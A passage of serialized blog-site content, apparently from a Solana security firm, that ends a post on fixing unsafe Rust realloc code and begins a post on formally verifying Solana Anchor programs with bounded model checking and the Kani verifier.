",{"type":23,"tag":92,"props":17539,"children":17541},{"className":17540},[],[17542],{"type":28,"value":14973},{"type":28,"value":17544},"'s data. The fix here is simple: keep that ",{"type":23,"tag":92,"props":17546,"children":17548},{"className":17547},[],[17549],{"type":28,"value":16213},{"type":28,"value":17551}," around and use it to access the data, instead of using ",{"type":23,"tag":92,"props":17553,"children":17555},{"className":17554},[],[17556],{"type":28,"value":17557},"RefCell::as_ptr",{"type":28,"value":17559},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":23,"tag":14943,"props":17561,"children":17562},{},[17563],{"type":23,"tag":31,"props":17564,"children":17568},{"href":17565,"ariaDescribedBy":17566,"dataFootnoteRef":7,"id":17567},"#user-content-fn-rustc-llvm",[14950],"user-content-fnref-rustc-llvm",[17569],{"type":28,"value":17001},{"type":28,"value":17571}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":23,"tag":14943,"props":17573,"children":17574},{},[17575],{"type":23,"tag":31,"props":17576,"children":17580},{"href":17577,"ariaDescribedBy":17578,"dataFootnoteRef":7,"id":17579},"#user-content-fn-godbolt",[14950],"user-content-fnref-godbolt",[17581],{"type":28,"value":17582},"5",{"type":28,"value":17584},". So then we get:",{"type":23,"tag":87,"props":17586,"children":17588},{"className":128,"code":17587,"language":127,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[17589],{"type":23,"tag":92,"props":17590,"children":17591},{"__ignoreMap":7},[17592,17636,17643,17650,17734,17774,17781,17788],{"type":23,"tag":134,"props":17593,"children":17594},{"class":136,"line":137},[17595,17599,17603,17608,17612,17616,17620,17624,17628,17632],{"type":23,"tag":134,"props":17596,"children":17597},{"style":151},[17598],{"type":28,"value":11254},{"type":23,"tag":134,"props":17600,"children":17601},{"style":151},[17602],{"type":28,"value":159},{"type":23,"tag":134,"props":17604,"children":17605},{"style":162},[17606],{"type":28,"value":17607}," slice",{"type":23,"tag":134,"props":17609,"children":17610},{"style":168},[17611],{"type":28,"value":171},{"type":23,"tag":134,"props":17613,"children":17614},{"style":151},[17615],{"type":28,"value":13265},{"type":23,"tag":134,"props":17617,"children":17618},{"style":168},[17619],{"type":28,"value":720},{"type":23,"tag":134,"props":17621,"children":17622},{"style":264},[17623],{"type":28,"value":13342},{"type":23,"tag":134,"props":17625,"children":17626},{"style":179},[17627],{"type":28,"value":13347},{"type":23,"tag":134,"props":17629,"children":17630},{"style":168},[17631],{"type":28,"value":324},{"type":23,"tag":134,"props":17633,"children":17634},{"style":179},[17635],{"type":28,"value":182},{"type":23,"tag":134,"props":17637,"children":17638},{"class":136,"line":147},[17639],{"type":23,"tag":134,"props":17640,"children":17641},{"emptyLinePlaceholder":15},[17642],{"type":28,"value":865},{"type":23,"tag":134,"props":17644,"children":17645},{"class":136,"line":185},[17646],{"type":23,"tag":134,"props":17647,"children":17648},{"style":141},[17649],{"type":28,"value":13871},{"type":23,"tag":134,"props":17651,"children":17652},{"class":136,"line":221},[17653,17657,17661,17665,17669,17673,17677,17681,17685,17689,17693,17697,17701,17705,17709,17714,17718,17722,17726,17730],{"type":23,"tag":134,"props":17654,"children":17655},{"style":151},[17656],{"type":28,"value":11254},{"type":23,"tag":134,"props":17658,"children":17659},{"style":162},[17660],{"type":28,"value":13325},{"type":23,"tag":134,"props":17662,"children":17663},{"style":168},[17664],{"type":28,"value":171},{"type":23,"tag":134,"props":17666,"children":17667},{"style":151},[17668],{"type":28,"value":14058},{"type":23,"tag":134,"props":17670,"children":17671},{"style":179},[17672],{"type":28,"value":9049},{"type":23,"tag":134,"props":17674,"children":17675},{"style":162},[17676],{"type":28,"value":14782},{"type":23,"tag":134,"props":17678,"children":17679},{"style":168},[17680],{"type":28,"value":720},{"type":23,"tag":134,"props":17682,"children":17683},{"style":264},[17684],{"type":28,"value":13356},{"type":23,"tag":134,"props":17686,"children":17687},{"style":179},[17688],{"type":28,"value":13347},{"type":23,"tag":134,"props":17690,"children":17691},{"style":168},[17692],{"type":28,"value":720},{"type":23,"tag":134,"props":17694,"children":17695},{"style":264},[17696],{"type":28,"value":13369},{"type":23,"tag":134,"props":17698,"children":17699},{"style":179},[17700],{"type":28,"value":272},{"type":23,"tag":134,"props":17702,"children":17703},{"style":168},[17704],{"type":28,"value":1532},{"type":23,"tag":134,"props":17706,"children":17707},{"style":205},[17708],{"type":28,"value":1278},{"type":23,"tag":134,"props":17710,"children":17711},{"style":179},[17712],{"type":28,"value":17713},") } ",{"type":23,"tag":134,"props":17715,"children":17716},{"style":151},[17717],{"type":28,"value":8302},{"type":23,"tag":134,"props":17719,"children":17720},{"style":168},[17721],{"type":28,"value":9281},{"type":23,"tag":134,"props":17723,"children":17724},{"style":151},[17725],{"type":28,"value":914},{"type":23,"tag":134,"props":17727,"children":17728},{"style":597},[17729],{"type":28,"value":5316},{"type":23,"tag":134,"props":17731,"children":17732},{"style":179},[17733],{"type":28,"value":182},{"type":23,"tag":134,"props":17735,"children":17736},{"class":136,"line":332},[17737,17741,17745,17749,17753,17757,17761,17765,17769],{"type":23,"tag":134,"props":17738,"children":17739},{"style":151},[17740],{"type":28,"value":13824},{"type":23,"tag":134,"props":17742,"children":17743},{"style":179},[17744],{"type":28,"value":9049},{"type":23,"tag":134,"props":17746,"children":17747},{"style":168},[17748],{"type":28,"value":1777},{"type":23,"tag":134,"props":17750,"children":17751},{"style":162},[17752],{"type":28,"value":13417},{"type":23,"tag":134,"props":17754,"children":17755},{"style":168},[17756],{"type":28,"value":171},{"type":23,"tag":134,"props":17758,"children":17759},{"style":162},[17760],{"type":28,"value":13426},{"type":23,"tag":134,"props":17762,"children":17763},{"style":151},[17764],{"type":28,"value":8288},{"type":23,"tag":134,"props":17766,"children":17767},{"style":597},[17768],{"type":28,"value":5316},{"type":23,"tag":134,"props":17770,"children":17771},{"style":179},[17772],{"type":28,"value":17773}," };\n",{"type":23,"tag":134,"props":17775,"children":17776},{"class":136,"line":438},[17777],{"type":23,"tag":134,"props":17778,"children":17779},{"emptyLinePlaceholder":15},[17780],{"type":28,"value":865},{"type":23,"tag":134,"props":17782,"children":17783},{"class":136,"line":466},[17784],{"type":23,"tag":134,"props":17785,"children":17786},{"style":141},[17787],{"type":28,"value":15610},{"type":23,"tag":134,"props":17789,"children":17790},{"class":136,"line":479},[17791,17795,17799,17803,17807,17812,17816,17820,17824,17829,17833,17837,17841,17845,17850,17854],{"type":23,"tag":134,"props":17792,"children":17793},{"style":168},[17794],{"type":28,"value":1777},{"type":23,"tag":134,"props":17796,"children":17797},{"style":162},[17798],{"type":28,"value":14782},{"type":23,"tag":134,"props":17800,"children":17801},{"style":168},[17802],{"type":28,"value":171},{"type":23,"tag":134,"props":17804,"children":17805},{"style":151},[17806],{"type":28,"value":14058},{"type":23,"tag":134,"props":17808,"children":17809},{"style":179},[17810],{"type":28,"value":17811}," { std",{"type":23,"tag":134,"props":17813,"children":17814},{"style":168},[17815],{"type":28,"value":660},{"type":23,"tag":134,"props":17817,"children":17818},{"style":179},[17819],{"type":28,"value":14782},{"type":23,"tag":134,"props":17821,"children":17822},{"style":168},[17823],{"type":28,"value":660},{"type":23,"tag":134,"props":17825,"children":17826},{"style":264},[17827],{"type":28,"value":17828},"from_raw_parts_mut",{"type":23,"tag":134,"props":17830,"children":17831},{"style":179},[17832],{"type":28,"value":272},{"type":23,"tag":134,"props":17834,"children":17835},{"style":162},[17836],{"type":28,"value":14782},{"type":23,"tag":134,"props":17838,"children":17839},{"style":168},[17840],{"type":28,"value":720},{"type":23,"tag":134,"props":17842,"children":17843},{"style":264},[17844],{"type":28,"value":13356},{"type":23,"tag":134,"props":17846,"children":17847},{"style":179},[17848],{"type":28,"value":17849},"(), ",{"type":23,"tag":134,"props":17851,"children":17852},{"style":162},[17853],{"type":28,"value":13190},{"type":23,"tag":134,"props":17855,"children":17856},{"style":179},[17857],{"type":28,"value":14213},{"type":23,"tag":24,"props":17859,"children":17860},{},[17861,17863,17868,17870,17875,17877,17882,17884],{"type":28,"value":17862},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":23,"tag":92,"props":17864,"children":17866},{"className":17865},[],[17867],{"type":28,"value":7501},{"type":28,"value":17869}," and not a ",{"type":23,"tag":92,"props":17871,"children":17873},{"className":17872},[],[17874],{"type":28,"value":16072},{"type":28,"value":17876}," for the size field, given that ",{"type":23,"tag":92,"props":17878,"children":17880},{"className":17879},[],[17881],{"type":28,"value":16072},{"type":28,"value":17883}," is architecture-dependent), and no dependency on slice reference internals!",{"type":23,"tag":14943,"props":17885,"children":17886},{},[17887],{"type":23,"tag":31,"props":17888,"children":17892},{"href":17889,"ariaDescribedBy":17890,"dataFootnoteRef":7,"id":17891},"#user-content-fn-slice-unbound-lifetime",[14950],"user-content-fnref-slice-unbound-lifetime",[17893],{"type":28,"value":17894},"6",{"type":23,"tag":17896,"props":17897,"children":17900},"section",{"className":17898,"dataFootnotes":7},[17899],"footnotes",[17901,17908],{"type":23,"tag":61,"props":17902,"children":17905},{"className":17903,"id":14950},[17904],"sr-only",[17906],{"type":28,"value":17907},"Footnotes",{"type":23,"tag":4890,"props":17909,"children":17910},{},[17911,18016,18034,18089,18102,18130],{"type":23,"tag":4894,"props":17912,"children":17914},{"id":17913},"user-content-fn-rc-refs",[17915,17917,17923,17925,17930,17932,17936,17938,17942,17944,17949,17951,17957,17959,17964,17966,17976,17978,17983,17985,17990,17992,17997,17999,18005,18007],{"type":28,"value":17916},"I find it helpful to view owning an ",{"type":23,"tag":92,"props":17918,"children":17920},{"className":17919},[],[17921],{"type":28,"value":17922},"Rc\u003CT>",{"type":28,"value":17924}," as holding a shared reference to the underlying ",{"type":23,"tag":92,"props":17926,"children":17928},{"className":17927},[],[17929],{"type":28,"value":5444},{"type":28,"value":17931}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":23,"tag":55,"props":17933,"children":17934},{},[17935],{"type":28,"value":15928},{"type":28,"value":17937}," ensures that the actual ",{"type":23,"tag":55,"props":17939,"children":17940},{},[17941],{"type":28,"value":892},{"type":28,"value":17943}," stays alive, however all you have is a reference to the ",{"type":23,"tag":92,"props":17945,"children":17947},{"className":17946},[],[17948],{"type":28,"value":5444},{"type":28,"value":17950}," (through the ",{"type":23,"tag":92,"props":17952,"children":17954},{"className":17953},[],[17955],{"type":28,"value":17956},"Deref\u003CTarget = T>",{"type":28,"value":17958}," impl) - ",{"type":23,"tag":55,"props":17960,"children":17961},{},[17962],{"type":28,"value":17963},"not",{"type":28,"value":17965}," ownership ",{"type":23,"tag":55,"props":17967,"children":17968},{},[17969,17971],{"type":28,"value":17970},"of the ",{"type":23,"tag":92,"props":17972,"children":17974},{"className":17973},[],[17975],{"type":28,"value":5444},{"type":28,"value":17977},". In short, owning an ",{"type":23,"tag":92,"props":17979,"children":17981},{"className":17980},[],[17982],{"type":28,"value":17922},{"type":28,"value":17984}," is owning a (shared, read-only) reference to ",{"type":23,"tag":92,"props":17986,"children":17988},{"className":17987},[],[17989],{"type":28,"value":5444},{"type":28,"value":17991},", not owning ",{"type":23,"tag":92,"props":17993,"children":17995},{"className":17994},[],[17996],{"type":28,"value":5444},{"type":28,"value":17998}," directly like with ",{"type":23,"tag":92,"props":18000,"children":18002},{"className":18001},[],[18003],{"type":28,"value":18004},"Box\u003CT>",{"type":28,"value":18006},". ",{"type":23,"tag":31,"props":18008,"children":18013},{"href":18009,"ariaLabel":18010,"className":18011,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[18012],"data-footnote-backref",[18014],{"type":28,"value":18015},"↩",{"type":23,"tag":4894,"props":18017,"children":18019},{"id":18018},"user-content-fn-sendsync",[18020,18026,18027],{"type":23,"tag":92,"props":18021,"children":18023},{"className":18022},[],[18024],{"type":28,"value":18025},"!Send + !Sync",{"type":28,"value":5915},{"type":23,"tag":31,"props":18028,"children":18032},{"href":18029,"ariaLabel":18030,"className":18031,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[18012],[18033],{"type":28,"value":18015},{"type":23,"tag":4894,"props":18035,"children":18037},{"id":18036},"user-content-fn-layout",[18038,18040,18045,18046,18059,18061,18066,18068,18073,18075,18080,18082],{"type":28,"value":18039},"Note that this is a terrible idea for yet another reason: ",{"type":23,"tag":92,"props":18041,"children":18043},{"className":18042},[],[18044],{"type":28,"value":14407},{"type":28,"value":4956},{"type":23,"tag":31,"props":18047,"children":18050},{"href":18048,"rel":18049},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[35],[18051,18053],{"type":28,"value":18052},"not declared with ",{"type":23,"tag":92,"props":18054,"children":18056},{"className":18055},[],[18057],{"type":28,"value":18058},"#[repr(C)]",{"type":28,"value":18060},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":23,"tag":55,"props":18062,"children":18063},{},[18064],{"type":28,"value":18065},"breaks the entire chain",{"type":28,"value":18067}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":23,"tag":55,"props":18069,"children":18070},{},[18071],{"type":28,"value":18072},"some",{"type":28,"value":18074}," kind of interface to the specific layout of the specific ",{"type":23,"tag":92,"props":18076,"children":18078},{"className":18077},[],[18079],{"type":28,"value":15980},{"type":28,"value":18081}," versions used to build on-chain code for all eternity... ",{"type":23,"tag":31,"props":18083,"children":18087},{"href":18084,"ariaLabel":18085,"className":18086,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[18012],[18088],{"type":28,"value":18015},{"type":23,"tag":4894,"props":18090,"children":18092},{"id":18091},"user-content-fn-rustc-llvm",[18093,18095],{"type":28,"value":18094},"Actually, it's LLVM that does the optimization ",{"type":23,"tag":31,"props":18096,"children":18100},{"href":18097,"ariaLabel":18098,"className":18099,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[18012],[18101],{"type":28,"value":18015},{"type":23,"tag":4894,"props":18103,"children":18105},{"id":18104},"user-content-fn-godbolt",[18106,18113,18115,18121,18123],{"type":23,"tag":31,"props":18107,"children":18110},{"href":18108,"rel":18109},"https://godbolt.org/z/PK46xMbxc",[35],[18111],{"type":28,"value":18112},"Click here",{"type":28,"value":18114}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":23,"tag":92,"props":18116,"children":18118},{"className":18117},[],[18119],{"type":28,"value":18120},"libcore",{"type":28,"value":18122}," available for other architectures yet. ",{"type":23,"tag":31,"props":18124,"children":18128},{"href":18125,"ariaLabel":18126,"className":18127,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[18012],[18129],{"type":28,"value":18015},{"type":23,"tag":4894,"props":18131,"children":18133},{"id":18132},"user-content-fn-slice-unbound-lifetime",[18134,18136,18141,18143,18149,18151,18157,18159,18165,18167,18173,18175,18181,18183,18188,18190],{"type":28,"value":18135},"The astute reader may have noticed that ",{"type":23,"tag":92,"props":18137,"children":18139},{"className":18138},[],[18140],{"type":28,"value":17828},{"type":28,"value":18142}," still returns an unbounded lifetime (notice in the signature ",{"type":23,"tag":92,"props":18144,"children":18146},{"className":18145},[],[18147],{"type":28,"value":18148},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":28,"value":18150},", the lifetime parameter ",{"type":23,"tag":92,"props":18152,"children":18154},{"className":18153},[],[18155],{"type":28,"value":18156},"'a",{"type":28,"value":18158}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":23,"tag":92,"props":18160,"children":18162},{"className":18161},[],[18163],{"type":28,"value":18164},"*slice",{"type":28,"value":18166},", which is ",{"type":23,"tag":92,"props":18168,"children":18170},{"className":18169},[],[18171],{"type":28,"value":18172},"&'info [u8]",{"type":28,"value":18174}," (where ",{"type":23,"tag":92,"props":18176,"children":18178},{"className":18177},[],[18179],{"type":28,"value":18180},"'info",{"type":28,"value":18182}," is the lifetime parameter of the ",{"type":23,"tag":92,"props":18184,"children":18186},{"className":18185},[],[18187],{"type":28,"value":14407},{"type":28,"value":18189}," struct) - this is exactly the lifetime we started with. ",{"type":23,"tag":31,"props":18191,"children":18195},{"href":18192,"ariaLabel":18193,"className":18194,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[18012],[18196],{"type":28,"value":18015},{"type":23,"tag":2575,"props":18198,"children":18199},{},[18200],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":18202},[18203,18209,18213,18214,18216],{"id":13836,"depth":147,"text":18204,"children":18205},"Breaking down realloc",[18206,18207],{"id":14002,"depth":185,"text":14005},{"id":15362,"depth":185,"text":18208},"Back to realloc",{"id":16315,"depth":147,"text":16318,"children":18210},[18211,18212],{"id":16321,"depth":185,"text":16324},{"id":16543,"depth":185,"text":16546},{"id":16730,"depth":147,"text":16733},{"id":17132,"depth":147,"text":18215},"Towards safer unsafe",{"id":14950,"depth":147,"text":17907},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":18221,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":18222,"description":18223,"author":18224,"image":18225,"date":18227,"isFeatured":15,"onBlogPage":15,"tags":18228,"body":18229,"_type":2586,"_id":28492,"_source":2588,"_file":28493,"_stem":28494,"_extension":2591},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":18226,"height":13090,"width":13091},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[17,18],{"type":20,"children":18230,"toc":28464},[18231,18236,18241,18267,18271,18283,18306,18329,18341,18364,18367,18374,18424,18430,18436,18441,18452,18493,18498,18504,18509,18742,18762,18767,18772,18845,18850,18920,18934,19359,19379,19385,19404,19409,19414,19419,19425,19437,19472,19483,19494,19506,19511,19543,19567,19586,19592,19609,19615,19642,19647,19667,19679,19825,19853,19856,19868,19951,19970,19973,20012,20179,20184,20190,20202,20221,20234,20395,20407,20420,20894,20899,20946,20952,20970,21039,21277,21491,21496,21570,21618,21623,21629,21731,21835,21840,21903,21908,21914,21979,21984,22026,22052,22058,22127,22132,22182,22193,22199,22210,22231,22236,22241,22264,22270,22282,22302,23418,23437,23488,23493,23501,23513,23518,23526,23531,23547,23583,23588,23682,23687,23695,23700,23812,23817,23825,23838,24002,24007,24015,24020,24025,24093,24127,24133,24138,24149,24167,24545,24557,24569,24577,24588,24619,24624,24632,24637,24910,24929,24934,24960,25828,25840,25939,25951,25993,25998,26010,26018,26023,26035,26061,26221,26233,26241,26246,26522,26527,26539,26694,26714,27040,27074,27268,27301,27313,27435,27455,27460,27465,27470,27483,27491,27496,27971,27983,27988,28000,28005,28264,28290,28295,28301,28307,28319,28331,28350,28397,28402,28408,28413,28418,28423,28428,28433,28438,28441,28460],{"type":23,"tag":24,"props":18232,"children":18233},{},[18234],{"type":28,"value":18235},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":23,"tag":24,"props":18237,"children":18238},{},[18239],{"type":28,"value":18240},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":23,"tag":24,"props":18242,"children":18243},{},[18244,18246,18250,18252,18257,18259,18266],{"type":28,"value":18245},"In the world of Web3 we create programs that talk to strangers ",{"type":23,"tag":55,"props":18247,"children":18248},{},[18249],{"type":28,"value":15842},{"type":28,"value":18251}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":23,"tag":55,"props":18253,"children":18254},{},[18255],{"type":28,"value":18256},"juciest",{"type":28,"value":18258},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":23,"tag":31,"props":18260,"children":18263},{"href":18261,"rel":18262},"https://rekt.news/leaderboard/",[35],[18264],{"type":28,"value":18265},"hundreds of millions of dollars",{"type":28,"value":720},{"type":23,"tag":18268,"props":18269,"children":18270},"hr",{},[],{"type":23,"tag":24,"props":18272,"children":18273},{},[18274,18276,18281],{"type":28,"value":18275},"At OtterSec we are ",{"type":23,"tag":55,"props":18277,"children":18278},{},[18279],{"type":28,"value":18280},"highly skilled in pest control",{"type":28,"value":18282}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":23,"tag":24,"props":18284,"children":18285},{},[18286,18288,18295,18297,18304],{"type":28,"value":18287},"Recently we were contacted by the ",{"type":23,"tag":31,"props":18289,"children":18292},{"href":18290,"rel":18291},"https://squads.so/",[35],[18293],{"type":28,"value":18294},"Squads team",{"type":28,"value":18296}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":23,"tag":31,"props":18298,"children":18301},{"href":18299,"rel":18300},"https://github.com/Squads-Protocol/squads-mpl",[35],[18302],{"type":28,"value":18303},"Squads Multisig Program",{"type":28,"value":18305}," as our main case study.",{"type":23,"tag":24,"props":18307,"children":18308},{},[18309,18311,18318,18320,18327],{"type":28,"value":18310},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":23,"tag":31,"props":18312,"children":18315},{"href":18313,"rel":18314},"https://www.anchor-lang.com/",[35],[18316],{"type":28,"value":18317},"anchor-lang",{"type":28,"value":18319}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":23,"tag":31,"props":18321,"children":18324},{"href":18322,"rel":18323},"https://github.com/model-checking/kani",[35],[18325],{"type":28,"value":18326},"Kani Rust Verifier",{"type":28,"value":18328},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":23,"tag":24,"props":18330,"children":18331},{},[18332,18334,18339],{"type":28,"value":18333},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":23,"tag":55,"props":18335,"children":18336},{},[18337],{"type":28,"value":18338},"bounded model checking",{"type":28,"value":18340}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":23,"tag":24,"props":18342,"children":18343},{},[18344],{"type":23,"tag":55,"props":18345,"children":18346},{},[18347,18349,18356,18358],{"type":28,"value":18348},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":23,"tag":31,"props":18350,"children":18353},{"href":18351,"rel":18352},"https://osec.io/contact",[35],[18354],{"type":28,"value":18355},"this form",{"type":28,"value":18357}," or email us at ",{"type":23,"tag":31,"props":18359,"children":18361},{"href":18360},"mailto:contact@osec.io",[18362],{"type":28,"value":18363},"contact@osec.io",{"type":23,"tag":18268,"props":18365,"children":18366},{},[],{"type":23,"tag":18368,"props":18369,"children":18371},"h4",{"id":18370},"contents",[18372],{"type":28,"value":18373},"Contents:",{"type":23,"tag":4890,"props":18375,"children":18376},{},[18377,18382,18399,18409,18414,18419],{"type":23,"tag":4894,"props":18378,"children":18379},{},[18380],{"type":28,"value":18381},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":23,"tag":4894,"props":18383,"children":18384},{},[18385,18390,18392,18397],{"type":23,"tag":2532,"props":18386,"children":18387},{},[18388],{"type":28,"value":18389},"Specification",{"type":28,"value":18391},": How can we describe what we ",{"type":23,"tag":55,"props":18393,"children":18394},{},[18395],{"type":28,"value":18396},"want",{"type":28,"value":18398}," our program to do?",{"type":23,"tag":4894,"props":18400,"children":18401},{},[18402,18407],{"type":23,"tag":2532,"props":18403,"children":18404},{},[18405],{"type":28,"value":18406},"Verification",{"type":28,"value":18408},": How do we check that our model is correct?",{"type":23,"tag":4894,"props":18410,"children":18411},{},[18412],{"type":28,"value":18413},"Case Study: Squads Multisig",{"type":23,"tag":4894,"props":18415,"children":18416},{},[18417],{"type":28,"value":18418},"Additional challenges in Solana",{"type":23,"tag":4894,"props":18420,"children":18421},{},[18422],{"type":28,"value":18423},"Conclusion",{"type":23,"tag":61,"props":18425,"children":18427},{"id":18426},"formal-verification-with-bounded-model-checking",[18428],{"type":28,"value":18429},"Formal Verification with Bounded Model Checking",{"type":23,"tag":9072,"props":18431,"children":18433},{"id":18432},"overview",[18434],{"type":28,"value":18435},"Overview",{"type":23,"tag":24,"props":18437,"children":18438},{},[18439],{"type":28,"value":18440},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":23,"tag":24,"props":18442,"children":18443},{},[18444,18446,18451],{"type":28,"value":18445},"There are many different flavors of formal verification, however in this research we are using ",{"type":23,"tag":2532,"props":18447,"children":18448},{},[18449],{"type":28,"value":18450},"bounded model checking (BMC)",{"type":28,"value":720},{"type":23,"tag":24,"props":18453,"children":18454},{},[18455,18457,18462,18464,18469,18471,18475,18477,18483,18485,18491],{"type":28,"value":18456},"In short, the idea of BMC is to execute our program ",{"type":23,"tag":55,"props":18458,"children":18459},{},[18460],{"type":28,"value":18461},"symbolically",{"type":28,"value":18463}," rather than ",{"type":23,"tag":55,"props":18465,"children":18466},{},[18467],{"type":28,"value":18468},"concretely",{"type":28,"value":18470},". Instead of actually performing an ",{"type":23,"tag":55,"props":18472,"children":18473},{},[18474],{"type":28,"value":9102},{"type":28,"value":18476}," when we see the line ",{"type":23,"tag":92,"props":18478,"children":18480},{"className":18479},[],[18481],{"type":28,"value":18482},"int x = a + b",{"type":28,"value":18484},", we store the symbolic expression ",{"type":23,"tag":92,"props":18486,"children":18488},{"className":18487},[],[18489],{"type":28,"value":18490},"x == a + b",{"type":28,"value":18492},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":23,"tag":24,"props":18494,"children":18495},{},[18496],{"type":28,"value":18497},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":23,"tag":9072,"props":18499,"children":18501},{"id":18500},"a-simple-example",[18502],{"type":28,"value":18503},"A simple example",{"type":23,"tag":24,"props":18505,"children":18506},{},[18507],{"type":28,"value":18508},"As an example, consider the following function:",{"type":23,"tag":87,"props":18510,"children":18512},{"code":18511,"language":315,"meta":7,"className":15985,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[18513],{"type":23,"tag":92,"props":18514,"children":18515},{"__ignoreMap":7},[18516,18546,18580,18592,18617,18645,18660,18687,18694,18701,18709,18735],{"type":23,"tag":134,"props":18517,"children":18518},{"class":136,"line":137},[18519,18524,18529,18533,18537,18542],{"type":23,"tag":134,"props":18520,"children":18521},{"style":151},[18522],{"type":28,"value":18523},"int",{"type":23,"tag":134,"props":18525,"children":18526},{"style":264},[18527],{"type":28,"value":18528}," foo",{"type":23,"tag":134,"props":18530,"children":18531},{"style":179},[18532],{"type":28,"value":272},{"type":23,"tag":134,"props":18534,"children":18535},{"style":151},[18536],{"type":28,"value":18523},{"type":23,"tag":134,"props":18538,"children":18539},{"style":162},[18540],{"type":28,"value":18541}," x",{"type":23,"tag":134,"props":18543,"children":18544},{"style":179},[18545],{"type":28,"value":14272},{"type":23,"tag":134,"props":18547,"children":18548},{"class":136,"line":147},[18549,18554,18558,18562,18567,18571,18576],{"type":23,"tag":134,"props":18550,"children":18551},{"style":151},[18552],{"type":28,"value":18553},"    int",{"type":23,"tag":134,"props":18555,"children":18556},{"style":179},[18557],{"type":28,"value":1720},{"type":23,"tag":134,"props":18559,"children":18560},{"style":168},[18561],{"type":28,"value":257},{"type":23,"tag":134,"props":18563,"children":18564},{"style":179},[18565],{"type":28,"value":18566}," x ",{"type":23,"tag":134,"props":18568,"children":18569},{"style":168},[18570],{"type":28,"value":1586},{"type":23,"tag":134,"props":18572,"children":18573},{"style":205},[18574],{"type":28,"value":18575}," 3",{"type":23,"tag":134,"props":18577,"children":18578},{"style":179},[18579],{"type":28,"value":182},{"type":23,"tag":134,"props":18581,"children":18582},{"class":136,"line":185},[18583,18587],{"type":23,"tag":134,"props":18584,"children":18585},{"style":151},[18586],{"type":28,"value":18553},{"type":23,"tag":134,"props":18588,"children":18589},{"style":179},[18590],{"type":28,"value":18591}," z;\n",{"type":23,"tag":134,"props":18593,"children":18594},{"class":136,"line":221},[18595,18599,18604,18608,18613],{"type":23,"tag":134,"props":18596,"children":18597},{"style":189},[18598],{"type":28,"value":11746},{"type":23,"tag":134,"props":18600,"children":18601},{"style":179},[18602],{"type":28,"value":18603}," (y ",{"type":23,"tag":134,"props":18605,"children":18606},{"style":168},[18607],{"type":28,"value":9927},{"type":23,"tag":134,"props":18609,"children":18610},{"style":205},[18611],{"type":28,"value":18612}," 